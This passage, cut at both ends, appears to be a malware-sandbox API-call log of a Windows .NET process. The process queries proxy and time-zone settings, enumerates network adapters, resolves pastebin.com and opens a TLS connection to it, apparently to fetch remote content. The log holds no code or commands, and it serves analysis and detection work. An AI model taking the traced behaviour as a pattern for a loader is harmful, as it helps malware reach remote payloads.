lpPerformanceCount=0x1b19df98*=2491451976503) returned 1 [0108.045] GetCurrentProcess () returned 0xffffffffffffffff [0108.045] OpenProcessToken (in: ProcessHandle=0xffffffffffffffff, DesiredAccess=0x2000000, TokenHandle=0x1b19d7c8 | out: TokenHandle=0x1b19d7c8*=0x2b0) returned 1 [0108.048] CloseHandle (hObject=0x2b0) returned 1 [0108.048] GetCurrentProcess () returned 0xffffffffffffffff [0108.048] OpenProcessToken (in: ProcessHandle=0xffffffffffffffff, DesiredAccess=0x2000000, TokenHandle=0x1b19d808 | out: TokenHandle=0x1b19d808*=0x2b0) returned 1 [0108.049] CloseHandle (hObject=0x2b0) returned 1 [0108.058] GetCurrentProcess () returned 0xffffffffffffffff [0108.058] OpenProcessToken (in: ProcessHandle=0xffffffffffffffff, DesiredAccess=0x2000000, TokenHandle=0x1b19dd48 | out: TokenHandle=0x1b19dd48*=0x2b0) returned 1 [0108.084] CoTaskMemAlloc (cb=0xcd0) returned 0x1a700080 [0108.101] CoTaskMemFree (pv=0x1a700080) [0108.109] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x1b19da38 | out: lpWSAData=0x1b19da38) returned 0 [0108.121] WSASocketW (af=2, type=2, protocol=0, lpProtocolInfo=0x0, g=0x0, dwFlags=0x0) returned 0x2f4 [0108.210] setsockopt (s=0x2f4, level=65535, optname=128, optval="\x01", optlen=4) returned -1 [0108.211] closesocket (s=0x2f4) returned 0 [0108.211] WSASocketW (af=23, type=2, protocol=0, lpProtocolInfo=0x0, g=0x0, dwFlags=0x0) returned 0x2f4 [0108.215] setsockopt (s=0x2f4, level=65535, optname=128, optval="\x01", optlen=4) returned -1 [0108.215] closesocket (s=0x2f4) returned 0 [0108.215] WSASocketW (af=2, type=2, protocol=0, lpProtocolInfo=0x0, g=0x0, dwFlags=0x1) returned 0x2f4 [0108.216] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x2f8 [0108.218] ioctlsocket (in: s=0x2f4, cmd=-2147195266, argp=0x1b19dd18 | out: argp=0x1b19dd18) returned 0 [0108.218] WSASocketW (af=23, type=2, protocol=0, lpProtocolInfo=0x0, g=0x0, dwFlags=0x1) returned 0x2fc [0108.219] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x300 [0108.219] ioctlsocket (in: s=0x2fc, cmd=-2147195266, argp=0x1b19dd18 | out: argp=0x1b19dd18) returned 0 [0108.220] WSAIoctl (in: s=0x2f4, dwIoControlCode=0x28000017, lpvInBuffer=0x0, cbInBuffer=0x0, lpvOutBuffer=0x0, cbOutBuffer=0x0, lpcbBytesReturned=0x1b19dca0, lpOverlapped=0x0, lpCompletionRoutine=0x0 | out: lpvOutBuffer=0x0, lpcbBytesReturned=0x1b19dca0, lpOverlapped=0x0) returned -1 [0108.221] FormatMessageW (in: dwFlags=0x3200, lpSource=0x0, dwMessageId=0x2733, dwLanguageId=0x0, lpBuffer=0x1b19d880, nSize=0x101, Arguments=0x0 | out: lpBuffer="A non-blocking socket operation could not be completed immediately.\r\n") returned 0x45 [0108.228] WSAEventSelect (s=0x2f4, hEventObject=0x2f8, lNetworkEvents=512) returned 0 [0108.228] WSAIoctl (in: s=0x2fc, dwIoControlCode=0x28000017, lpvInBuffer=0x0, cbInBuffer=0x0, lpvOutBuffer=0x0, cbOutBuffer=0x0, lpcbBytesReturned=0x1b19dca0, lpOverlapped=0x0, lpCompletionRoutine=0x0 | out: lpvOutBuffer=0x0, lpcbBytesReturned=0x1b19dca0, lpOverlapped=0x0) returned -1 [0108.228] FormatMessageW (in: dwFlags=0x3200, lpSource=0x0, dwMessageId=0x2733, dwLanguageId=0x0, lpBuffer=0x1b19d880, nSize=0x101, Arguments=0x0 | out: lpBuffer="A non-blocking socket operation could not be completed immediately.\r\n") returned 0x45 [0108.229] WSAEventSelect (s=0x2fc, hEventObject=0x300, lNetworkEvents=512) returned 0 [0108.229] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=0, lpName=0x0) returned 0x308 [0108.230] RasConnectionNotificationW (param_1=0xffffffffffffffff, param_2=0x308, param_3=0x3) returned 0x0 [0108.238] RegOpenCurrentUser (in: samDesired=0x20019, phkResult=0x1b19dd88 | out: phkResult=0x1b19dd88*=0x320) returned 0x0 [0108.240] RegOpenKeyExW (in: hKey=0x320, lpSubKey="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Internet Settings\\Connections", ulOptions=0x0, samDesired=0x20019, phkResult=0x1b19dcd8 | out: phkResult=0x1b19dcd8*=0x324) returned 0x0 [0108.241] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x328 [0108.241] RegNotifyChangeKeyValue (hKey=0x324, bWatchSubtree=1, dwNotifyFilter=0x4, hEvent=0x328, fAsynchronous=1) returned 0x0 [0108.242] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Internet Settings\\Connections", ulOptions=0x0, samDesired=0x20019, phkResult=0x1b19dce0 | out: phkResult=0x1b19dce0*=0x32c) returned 0x0 [0108.243] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x330 [0108.243] RegNotifyChangeKeyValue (hKey=0x32c, bWatchSubtree=1, dwNotifyFilter=0x4, hEvent=0x330, fAsynchronous=1) returned 0x0 [0108.243] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="SOFTWARE\\Policies\\Microsoft\\Windows\\CurrentVersion\\Internet Settings", ulOptions=0x0, samDesired=0x20019, phkResult=0x1b19dce0 | out: phkResult=0x1b19dce0*=0x334) returned 0x0 [0108.244] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x338 [0108.244] RegNotifyChangeKeyValue (hKey=0x334, bWatchSubtree=1, dwNotifyFilter=0x4, hEvent=0x338, fAsynchronous=1) returned 0x0 [0108.244] GetCurrentProcess () returned 0xffffffffffffffff [0108.245] OpenProcessToken (in: ProcessHandle=0xffffffffffffffff, DesiredAccess=0x2000000, TokenHandle=0x1b19dc58 | out: TokenHandle=0x1b19dc58*=0x33c) returned 1 [0108.251] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="SOFTWARE\\Microsoft\\.NETFramework", ulOptions=0x0, samDesired=0x20019, phkResult=0x1b19cd68 | out: phkResult=0x1b19cd68*=0x340) returned 0x0 [0108.251] RegQueryValueExW (in: hKey=0x340, lpValueName="LegacyWPADSupport", lpReserved=0x0, lpType=0x1b19cda8, lpData=0x0, lpcbData=0x1b19cda0*=0x0 | out: lpType=0x1b19cda8*=0x0, lpData=0x0, lpcbData=0x1b19cda0*=0x0) returned 0x2 [0108.251] RegCloseKey (hKey=0x340) returned 0x0 [0108.272] WinHttpOpen (pszAgentW=0x0, dwAccessType=0x1, pszProxyW=0x0, pszProxyBypassW=0x0, dwFlags=0x0) returned 0x1a714c80 [0108.293] WinHttpSetTimeouts (hInternet=0x1a714c80, nResolveTimeout=60000, nConnectTimeout=60000, nSendTimeout=60000, nReceiveTimeout=60000) returned 1 [0108.294] WinHttpGetIEProxyConfigForCurrentUser (in: pProxyConfig=0x1b19dcd0 | out: pProxyConfig=0x1b19dcd0) returned 1 [0108.339] CloseHandle (hObject=0x2b0) returned 1 [0108.356] GetEnvironmentVariableW (in: lpName="PinnableBufferCache_System.Net.HttpWebRequest_Disabled", lpBuffer=0x1b19cd30, nSize=0xd8 | out: lpBuffer="") returned 0x0 [0108.356] GetEnvironmentVariableW (in: lpName="PinnableBufferCache_System.Net.HttpWebRequest_MinCount", lpBuffer=0x1b19cd30, nSize=0xd8 | out: lpBuffer="") returned 0x0 [0108.359] EtwEventRegister (in: ProviderId=0x2357ea0, EnableCallback=0x1af9143c, CallbackContext=0x0, RegHandle=0x2357e80 | out: RegHandle=0x2357e80) returned 0x0 [0108.363] GetCurrentProcess () returned 0xffffffffffffffff [0108.363] OpenProcessToken (in: ProcessHandle=0xffffffffffffffff, DesiredAccess=0x2000000, TokenHandle=0x1b19d738 | out: TokenHandle=0x1b19d738*=0x380) returned 1 [0108.364] CloseHandle (hObject=0x380) returned 1 [0108.365] GetCurrentProcess () returned 0xffffffffffffffff [0108.365] OpenProcessToken (in: ProcessHandle=0xffffffffffffffff, DesiredAccess=0x2000000, TokenHandle=0x1b19d778 | out: TokenHandle=0x1b19d778*=0x380) returned 1 [0108.365] CloseHandle (hObject=0x380) returned 1 [0108.386] SetEvent (hEvent=0x24c) returned 1 [0108.403] GetCurrentProcess () returned 0xffffffffffffffff [0108.404] OpenProcessToken (in: ProcessHandle=0xffffffffffffffff, DesiredAccess=0x2000000, TokenHandle=0x1b19d5f8 | out: TokenHandle=0x1b19d5f8*=0x398) returned 1 [0108.404] CloseHandle (hObject=0x398) returned 1 [0108.405] GetCurrentProcess () returned 0xffffffffffffffff [0108.405] OpenProcessToken (in: ProcessHandle=0xffffffffffffffff, DesiredAccess=0x2000000, TokenHandle=0x1b19d638 | out: TokenHandle=0x1b19d638*=0x398) returned 1 [0108.405] CloseHandle (hObject=0x398) returned 1 [0108.406] GetTimeZoneInformation (in: lpTimeZoneInformation=0x1b19da40 | out: lpTimeZoneInformation=0x1b19da40) returned 0x2 [0108.415] GetDynamicTimeZoneInformation (in: pTimeZoneInformation=0x1b19d848 | out: pTimeZoneInformation=0x1b19d848) returned 0x2 [0108.418] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Time Zones\\W. Europe Standard Time", ulOptions=0x0, samDesired=0x20019, phkResult=0x1b19d818 | out: phkResult=0x1b19d818*=0x398) returned 0x0 [0108.419] RegQueryValueExW (in: hKey=0x398, lpValueName="TZI", lpReserved=0x0, lpType=0x1b19d858, lpData=0x0, lpcbData=0x1b19d850*=0x0 | out: lpType=0x1b19d858*=0x3, lpData=0x0, lpcbData=0x1b19d850*=0x2c) returned 0x0 [0108.419] RegQueryValueExW (in: hKey=0x398, lpValueName="TZI", lpReserved=0x0, lpType=0x1b19d858, lpData=0x235cf30, lpcbData=0x1b19d850*=0x2c | out: lpType=0x1b19d858*=0x3, lpData=0x235cf30*, lpcbData=0x1b19d850*=0x2c) returned 0x0 [0108.420] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Time Zones\\W. Europe Standard Time\\Dynamic DST", ulOptions=0x0, samDesired=0x20019, phkResult=0x1b19d628 | out: phkResult=0x1b19d628*=0x0) returned 0x2 [0108.420] RegQueryValueExW (in: hKey=0x398, lpValueName="MUI_Display", lpReserved=0x0, lpType=0x1b19d7e8, lpData=0x0, lpcbData=0x1b19d7e0*=0x0 | out: lpType=0x1b19d7e8*=0x1, lpData=0x0, lpcbData=0x1b19d7e0*=0x20) returned 0x0 [0108.420] RegQueryValueExW (in: hKey=0x398, lpValueName="MUI_Display", lpReserved=0x0, lpType=0x1b19d7e8, lpData=0x235d448, lpcbData=0x1b19d7e0*=0x20 | out: lpType=0x1b19d7e8*=0x1, lpData="@tzres.dll,-320", lpcbData=0x1b19d7e0*=0x20) returned 0x0 [0108.420] RegQueryValueExW (in: hKey=0x398, lpValueName="MUI_Std", lpReserved=0x0, lpType=0x1b19d7e8, lpData=0x0, lpcbData=0x1b19d7e0*=0x0 | out: lpType=0x1b19d7e8*=0x1, lpData=0x0, lpcbData=0x1b19d7e0*=0x20) returned 0x0 [0108.420] RegQueryValueExW (in: hKey=0x398, lpValueName="MUI_Std", lpReserved=0x0, lpType=0x1b19d7e8, lpData=0x235d4b8, lpcbData=0x1b19d7e0*=0x20 | out: lpType=0x1b19d7e8*=0x1, lpData="@tzres.dll,-322", lpcbData=0x1b19d7e0*=0x20) returned 0x0 [0108.420] RegQueryValueExW (in: hKey=0x398, lpValueName="MUI_Dlt", lpReserved=0x0, lpType=0x1b19d7e8, lpData=0x0, lpcbData=0x1b19d7e0*=0x0 | out: lpType=0x1b19d7e8*=0x1, lpData=0x0, lpcbData=0x1b19d7e0*=0x20) returned 0x0 [0108.420] RegQueryValueExW (in: hKey=0x398, lpValueName="MUI_Dlt", lpReserved=0x0, lpType=0x1b19d7e8, lpData=0x235d528, lpcbData=0x1b19d7e0*=0x20 | out: lpType=0x1b19d7e8*=0x1, lpData="@tzres.dll,-321", lpcbData=0x1b19d7e0*=0x20) returned 0x0 [0108.422] CoTaskMemAlloc (cb=0x20c) returned 0x1a6de020 [0108.422] SHGetFolderPathW (in: hwnd=0x0, csidl=37, hToken=0x0, dwFlags=0x0, pszPath=0x1a6de020 | out: pszPath="C:\\Windows\\system32") returned 0x0 [0108.424] CoTaskMemFree (pv=0x1a6de020) [0108.424] CoTaskMemAlloc (cb=0x20c) returned 0x1a6de020 [0108.424] GetFileMUIPath (in: dwFlags=0x10, pcwszFilePath="C:\\Windows\\system32\\tzres.dll", pwszLanguage=0x0, pcchLanguage=0x1b19d830, pwszFileMUIPath=0x1a6de020, pcchFileMUIPath=0x1b19d838, pululEnumerator=0x1b19d828 | out: pwszLanguage=0x0, pcchLanguage=0x1b19d830, pwszFileMUIPath="C:\\Windows\\system32\\en-US\\tzres.dll.mui", pcchFileMUIPath=0x1b19d838, pululEnumerator=0x1b19d828) returned 1 [0108.426] CoTaskMemFree (pv=0x0) [0108.426] CoTaskMemFree (pv=0x1a6de020) [0108.428] LoadLibraryExW (lpLibFileName="C:\\Windows\\system32\\en-US\\tzres.dll.mui", hFile=0x0, dwFlags=0x2) returned 0x150001 [0108.430] CoTaskMemAlloc (cb=0x3ec) returned 0x1a710db0 [0108.430] LoadStringW (in: hInstance=0x150001, uID=0x140, lpBuffer=0x1a710db0, cchBufferMax=500 | out: lpBuffer="(UTC+01:00) Amsterdam, Berlin, Bern, Rome, Stockholm, Vienna") returned 0x3c [0108.430] CoTaskMemFree (pv=0x1a710db0) [0108.431] FreeLibrary (hLibModule=0x150001) returned 1 [0108.431] CoTaskMemAlloc (cb=0x20c) returned 0x1a6de020 [0108.431] SHGetFolderPathW (in: hwnd=0x0, csidl=37, hToken=0x0, dwFlags=0x0, pszPath=0x1a6de020 | out: pszPath="C:\\Windows\\system32") returned 0x0 [0108.432] CoTaskMemFree (pv=0x1a6de020) [0108.432] CoTaskMemAlloc (cb=0x20c) returned 0x1a6de020 [0108.432] GetFileMUIPath (in: dwFlags=0x10, pcwszFilePath="C:\\Windows\\system32\\tzres.dll", pwszLanguage=0x0, pcchLanguage=0x1b19d830, pwszFileMUIPath=0x1a6de020, pcchFileMUIPath=0x1b19d838, pululEnumerator=0x1b19d828 | out: pwszLanguage=0x0, pcchLanguage=0x1b19d830, pwszFileMUIPath="C:\\Windows\\system32\\en-US\\tzres.dll.mui", pcchFileMUIPath=0x1b19d838, pululEnumerator=0x1b19d828) returned 1 [0108.434] CoTaskMemFree (pv=0x0) [0108.434] CoTaskMemFree (pv=0x1a6de020) [0108.434] LoadLibraryExW (lpLibFileName="C:\\Windows\\system32\\en-US\\tzres.dll.mui", hFile=0x0, dwFlags=0x2) returned 0x150001 [0108.435] CoTaskMemAlloc (cb=0x3ec) returned 0x1a710db0 [0108.435] LoadStringW (in: hInstance=0x150001, uID=0x142, lpBuffer=0x1a710db0, cchBufferMax=500 | out: lpBuffer="W. Europe Standard Time") returned 0x17 [0108.435] CoTaskMemFree (pv=0x1a710db0) [0108.435] FreeLibrary (hLibModule=0x150001) returned 1 [0108.436] CoTaskMemAlloc (cb=0x20c) returned 0x1a6de020 [0108.436] SHGetFolderPathW (in: hwnd=0x0, csidl=37, hToken=0x0, dwFlags=0x0, pszPath=0x1a6de020 | out: pszPath="C:\\Windows\\system32") returned 0x0 [0108.436] CoTaskMemFree (pv=0x1a6de020) [0108.436] CoTaskMemAlloc (cb=0x20c) returned 0x1a6de020 [0108.437] GetFileMUIPath (in: dwFlags=0x10, pcwszFilePath="C:\\Windows\\system32\\tzres.dll", pwszLanguage=0x0, pcchLanguage=0x1b19d830, pwszFileMUIPath=0x1a6de020, pcchFileMUIPath=0x1b19d838, pululEnumerator=0x1b19d828 | out: pwszLanguage=0x0, pcchLanguage=0x1b19d830, pwszFileMUIPath="C:\\Windows\\system32\\en-US\\tzres.dll.mui", pcchFileMUIPath=0x1b19d838, pululEnumerator=0x1b19d828) returned 1 [0108.438] CoTaskMemFree (pv=0x0) [0108.438] CoTaskMemFree (pv=0x1a6de020) [0108.438] LoadLibraryExW (lpLibFileName="C:\\Windows\\system32\\en-US\\tzres.dll.mui", hFile=0x0, dwFlags=0x2) returned 0x150001 [0108.439] CoTaskMemAlloc (cb=0x3ec) returned 0x1a710db0 [0108.439] LoadStringW (in: hInstance=0x150001, uID=0x141, lpBuffer=0x1a710db0, cchBufferMax=500 | out: lpBuffer="W. Europe Daylight Time") returned 0x17 [0108.440] CoTaskMemFree (pv=0x1a710db0) [0108.440] FreeLibrary (hLibModule=0x150001) returned 1 [0108.441] RegCloseKey (hKey=0x398) returned 0x0 [0108.442] SetEvent (hEvent=0x24c) returned 1 [0108.454] GetNetworkParams (in: pFixedInfo=0x0, pOutBufLen=0x1b19dc98 | out: pFixedInfo=0x0, pOutBufLen=0x1b19dc98) returned 0x6f [0108.479] LocalAlloc (uFlags=0x0, uBytes=0x258) returned 0x1a7307c0 [0108.479] GetNetworkParams (in: pFixedInfo=0x1a7307c0, pOutBufLen=0x1b19dc98 | out: pFixedInfo=0x1a7307c0, pOutBufLen=0x1b19dc98) returned 0x0 [0108.493] LocalFree (hMem=0x1a7307c0) returned 0x0 [0108.498] CoTaskMemAlloc (cb=0x20c) returned 0x1a6de020 [0108.498] GetEnvironmentVariableW (in: lpName="PinnableBufferCache_System.Net.Connection_Disabled", lpBuffer=0x1a6de020, nSize=0x104 | out: lpBuffer="") returned 0x0 [0108.499] CoTaskMemFree (pv=0x1a6de020) [0108.499] CoTaskMemAlloc (cb=0x20c) returned 0x1a6de020 [0108.499] GetEnvironmentVariableW (in: lpName="PinnableBufferCache_System.Net.Connection_MinCount", lpBuffer=0x1a6de020, nSize=0x104 | out: lpBuffer="") returned 0x0 [0108.499] CoTaskMemFree (pv=0x1a6de020) [0108.521] WSASocketW (af=2, type=1, protocol=6, lpProtocolInfo=0x0, g=0x0, dwFlags=0x1) returned 0x3ac [0108.523] WSASocketW (af=23, type=1, protocol=6, lpProtocolInfo=0x0, g=0x0, dwFlags=0x1) returned 0x3a8 [0108.525] GetAddrInfoW (in: pNodeName="pastebin.com", pServiceName=0x0, pHints=0x1b19dac8*(ai_flags=2, ai_family=0, ai_socktype=0, ai_protocol=0, ai_addrlen=0x0, ai_canonname=0x0, ai_addr=0x0, ai_next=0x0), ppResult=0x1b19da10 | out: ppResult=0x1b19da10*=0x1a7315b0*(ai_flags=0, ai_family=2, ai_socktype=0, ai_protocol=0, ai_addrlen=0x10, ai_canonname="pastebin.com", ai_addr=0x1a719290*(sa_family=2, sin_port=0x0, sin_addr="104.20.67.143"), ai_next=0x1a7316f0*(ai_flags=0, ai_family=2, ai_socktype=0, ai_protocol=0, ai_addrlen=0x10, ai_canonname=0x0, ai_addr=0x1a7192d0*(sa_family=2, sin_port=0x0, sin_addr="172.67.34.170"), ai_next=0x1a7316b0*(ai_flags=0, ai_family=2, ai_socktype=0, ai_protocol=0, ai_addrlen=0x10, ai_canonname=0x0, ai_addr=0x1a7192f0*(sa_family=2, sin_port=0x0, sin_addr="104.20.68.143"), ai_next=0x0)))) returned 0 [0108.579] FreeAddrInfoW (pAddrInfo=0x1a7315b0*(ai_flags=0, ai_family=2, ai_socktype=0, ai_protocol=0, ai_addrlen=0x10, ai_canonname="pastebin.com", ai_addr=0x1a719290*(sa_family=2, sin_port=0x0, sin_addr="104.20.67.143"), ai_next=0x1a7316f0*(ai_flags=0, ai_family=2, ai_socktype=0, ai_protocol=0, ai_addrlen=0x10, ai_canonname=0x0, ai_addr=0x1a7192d0*(sa_family=2, sin_port=0x0, sin_addr="172.67.34.170"), ai_next=0x1a7316b0*(ai_flags=0, ai_family=2, ai_socktype=0, ai_protocol=0, ai_addrlen=0x10, ai_canonname=0x0, ai_addr=0x1a7192f0*(sa_family=2, sin_port=0x0, sin_addr="104.20.68.143"), ai_next=0x0)))) [0108.581] WSASocketW (af=2, type=2, protocol=0, lpProtocolInfo=0x0, g=0x0, dwFlags=0x1) returned 0x3b4 [0108.581] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x3bc [0108.581] ioctlsocket (in: s=0x3b4, cmd=-2147195266, argp=0x1b19da38 | out: argp=0x1b19da38) returned 0 [0108.582] WSASocketW (af=23, type=2, protocol=0, lpProtocolInfo=0x0, g=0x0, dwFlags=0x1) returned 0x3c0 [0108.582] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x3c4 [0108.582] ioctlsocket (in: s=0x3c0, cmd=-2147195266, argp=0x1b19da38 | out: argp=0x1b19da38) returned 0 [0108.582] WSAIoctl (in: s=0x3b4, dwIoControlCode=0x28000017, lpvInBuffer=0x0, cbInBuffer=0x0, lpvOutBuffer=0x0, cbOutBuffer=0x0, lpcbBytesReturned=0x1b19d9c0, lpOverlapped=0x0, lpCompletionRoutine=0x0 | out: lpvOutBuffer=0x0, lpcbBytesReturned=0x1b19d9c0, lpOverlapped=0x0) returned -1 [0108.582] FormatMessageW (in: dwFlags=0x3200, lpSource=0x0, dwMessageId=0x2733, dwLanguageId=0x0, lpBuffer=0x1b19d5a0, nSize=0x101, Arguments=0x0 | out: lpBuffer="A non-blocking socket operation could not be completed immediately.\r\n") returned 0x45 [0108.583] WSAEventSelect (s=0x3b4, hEventObject=0x3bc, lNetworkEvents=512) returned 0 [0108.583] WSAIoctl (in: s=0x3c0, dwIoControlCode=0x28000017, lpvInBuffer=0x0, cbInBuffer=0x0, lpvOutBuffer=0x0, cbOutBuffer=0x0, lpcbBytesReturned=0x1b19d9c0, lpOverlapped=0x0, lpCompletionRoutine=0x0 | out: lpvOutBuffer=0x0, lpcbBytesReturned=0x1b19d9c0, lpOverlapped=0x0) returned -1 [0108.583] FormatMessageW (in: dwFlags=0x3200, lpSource=0x0, dwMessageId=0x2733, dwLanguageId=0x0, lpBuffer=0x1b19d5a0, nSize=0x101, Arguments=0x0 | out: lpBuffer="A non-blocking socket operation could not be completed immediately.\r\n") returned 0x45 [0108.583] WSAEventSelect (s=0x3c0, hEventObject=0x3c4, lNetworkEvents=512) returned 0 [0108.584] GetAdaptersAddresses (in: Family=0x0, Flags=0x2e, Reserved=0x0, AdapterAddresses=0x0, SizePointer=0x1b19da28*=0x0 | out: AdapterAddresses=0x0, SizePointer=0x1b19da28*=0x920) returned 0x6f [0108.589] LocalAlloc (uFlags=0x0, uBytes=0x920) returned 0x1a732ea0 [0108.589] GetAdaptersAddresses (in: Family=0x0, Flags=0x2e, Reserved=0x0, AdapterAddresses=0x1a732ea0, SizePointer=0x1b19da28*=0x920 | out: AdapterAddresses=0x1a732ea0*(Alignment=0x10000001c0, Length=0x1c0, IfIndex=0x10, Next=0x1a7331d8, AdapterName="{68F1467C-143D-484A-87A1-65BCBB1B2D48}", FirstUnicastAddress=0x1a733128, FirstAnycastAddress=0x0, FirstMulticastAddress=0x0, FirstDnsServerAddress=0x0, DnsSuffix="", Description="Intel(R) 82574L Gigabit Network Connection #5", FriendlyName="Local Area Connection 5", PhysicalAddress=([0]=0x0, [1]=0x6, [2]=0x3f, [3]=0xb1, [4]=0xa, [5]=0x89, [6]=0x0, [7]=0x0), PhysicalAddressLength=0x6, Flags=0x3e5, DdnsEnabled=0x3e5, RegisterAdapterSuffix=0x3e5, Dhcpv4Enabled=0x3e5, ReceiveOnly=0x3e5, NoMulticast=0x3e5, Ipv6OtherStatefulConfig=0x3e5, NetbiosOverTcpipEnabled=0x3e5, Ipv4Enabled=0x3e5, Ipv6Enabled=0x3e5, Ipv6ManagedAddressConfigurationSupported=0x3e5, Mtu=0x5dc, IfType=0x6, OperStatus=0x1, Ipv6IfIndex=0x10, ZoneIndices=([0]=0x10, [1]=0x10, [2]=0x10, [3]=0x10, [4]=0x1, [5]=0x1, [6]=0x1, [7]=0x1, [8]=0x1, [9]=0x1, [10]=0x1, [11]=0x1, [12]=0x1, [13]=0x1, [14]=0x0, [15]=0x1), FirstPrefix=0x0, TransmitLinkSpeed=0x3b9aca00, ReceiveLinkSpeed=0x3b9aca00, FirstWinsServerAddress=0x0, FirstGatewayAddress=0x0, Ipv4Metric=0xa, Ipv6Metric=0xa, Luid=0x600000a000000, Dhcpv4Server.lpSockaddr=0x1a733060*(sa_family=2, sin_port=0x0, sin_addr="192.168.0.1"), Dhcpv4Server.iSockaddrLength=16, CompartmentId=0x1, NetworkGuid=0x11de7039846ee341, ConnectionType=0x1, TunnelType=0x0, Dhcpv6Server.lpSockaddr=0x0, Dhcpv6Server.iSockaddrLength=0, Dhcpv6ClientDuid=([0]=0x0, [1]=0x1, [2]=0x0, [3]=0x1, [4]=0x27, [5]=0xbf, [6]=0xe, [7]=0x9e, [8]=0x0, [9]=0x26, [10]=0x67, [11]=0xd5, [12]=0xc6, [13]=0x31, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0), Dhcpv6ClientDuidLength=0xe, Dhcpv6Iaid=0x13c89f1d, FirstDnsSuffix=0x0), SizePointer=0x1b19da28*=0x920) returned 0x0 [0108.601] LocalFree (hMem=0x1a732ea0) returned 0x0 [0108.604] WSAConnect (in: s=0x3ac, name=0x236a980*(sa_family=2, sin_port=0x1bb, sin_addr="104.20.67.143"), namelen=16, lpCallerData=0x0, lpCalleeData=0x0, lpSQOS=0x0, lpGQOS=0x0 | out: lpCalleeData=0x0) returned 0 [0108.617] closesocket (s=0x3a8) returned 0 [0108.646] EnumerateSecurityPackagesW (in: pcPackages=0x1b19d7c0, ppPackageInfo=0x1b19d6e0 | out: pcPackages=0x1b19d7c0, ppPackageInfo=0x1b19d6e0) returned 0x0 [0108.657] FreeContextBuffer (in: pvContextBuffer=0x1a732ea0 | out: pvContextBuffer=0x1a732ea0) returned 0x0 [0108.666] GetCurrentProcess () returned 0xffffffffffffffff [0108.666] OpenProcessToken (in: ProcessHandle=0xffffffffffffffff, DesiredAccess=0x2000000, TokenHandle=0x1b19d368 | out: TokenHandle=0x1b19d368*=0x3a8) returned 1 [0108.671] AcquireCredentialsHandleW (in: pPrincipal=0x0, pPackage=0x236c064, fCredentialUse=0x2, pvLogonId=0x0, pAuthData=0x1b19d4d0, pGetKeyFn=0x0, pvGetKeyArgument=0x0, phCredential=0x236e260, ptsExpiry=0x1b19d3f0 | out: phCredential=0x236e260, ptsExpiry=0x1b19d3f0) returned 0x0 [0108.680] CloseHandle (hObject=0x3a8) returned 1 [0108.683] InitializeSecurityContextW (in: phCredential=0x1b19d3a8, phContext=0x0, pTargetName=0x236aad4, fContextReq=0x8011c, Reserved1=0x0, TargetDataRep=0x10, pInput=0x0, Reserved2=0x0, phNewContext=0x236e518, pOutput=0x236e470, pfContextAttr=0x236c010, ptsExpiry=0x1b19d3a0 | out: phNewContext=0x236e518, pOutput=0x236e470, pfContextAttr=0x236c010, ptsExpiry=0x1b19d3a0) returned 0x90312 [0108.684] FreeContextBuffer (in: pvContextBuffer=0x1a6e93a0 | out: pvContextBuffer=0x1a6e93a0) returned 0x0 [0108.686] send (s=0x3ac, buf=0x236e540*, len=154, flags=0) returned 154 [0108.688] recv (in: s=0x3ac, buf=0x236e540, len=5, flags=0 | out: buf=0x236e540*) returned 5 [0108.697] recv (in: s=0x3ac, buf=0x236e545, len=91, flags=0 | out: buf=0x236e545*) returned 91 [0108.698] InitializeSecurityContextW (in: phCredential=0x1b19d298, phContext=0x1b19d280, pTargetName=0x236aad4, fContextReq=0x8011c, Reserved1=0x0, TargetDataRep=0x10, pInput=0x236e878, Reserved2=0x0, 